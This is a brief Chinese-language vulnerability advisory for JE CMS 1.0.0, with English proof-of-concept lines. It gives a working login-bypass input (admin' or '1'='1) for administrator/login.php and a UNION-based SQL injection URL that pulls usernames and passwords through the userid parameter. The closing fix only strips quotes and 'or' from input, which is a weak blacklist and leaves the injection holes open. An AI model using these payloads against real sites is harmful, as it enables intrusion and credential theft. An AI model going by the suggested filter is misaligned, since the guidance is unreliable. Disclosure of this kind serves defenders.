JE CMS 1.0.0　万能密码登录与注入漏洞与修复[网络技术]

JE CMS <= 1.0.0程序呈现两处漏洞,一处在登录考证可以利用万能密码绕过.另一处是SQL注入漏洞.

1. Bypass Authentication by SQL Injection Vulnerability //登录考证漏洞

in administrator\login.php page, lines 16-20: //login.php页16-20行(代码省略）

POC:

in administrator/login.php

username: admin' or '1'='1

password: admin' or '1'='1

2. SQL injection in administrator\index.php on "userid" parameter: //SQL注入漏洞

in administrator\index.php file line 12:(代码省略）

POC:

http://site/joenas-ejes/administrator/index.php?jepage=edituser&userid=1 and 1=2 UNION SELECT 1,2,3,4,group_concat(username,0x3a,password),6,7,8,9,10,11,12 from users--

安全防备:

严峻过滤

 过滤变量    '   '     or   替换位空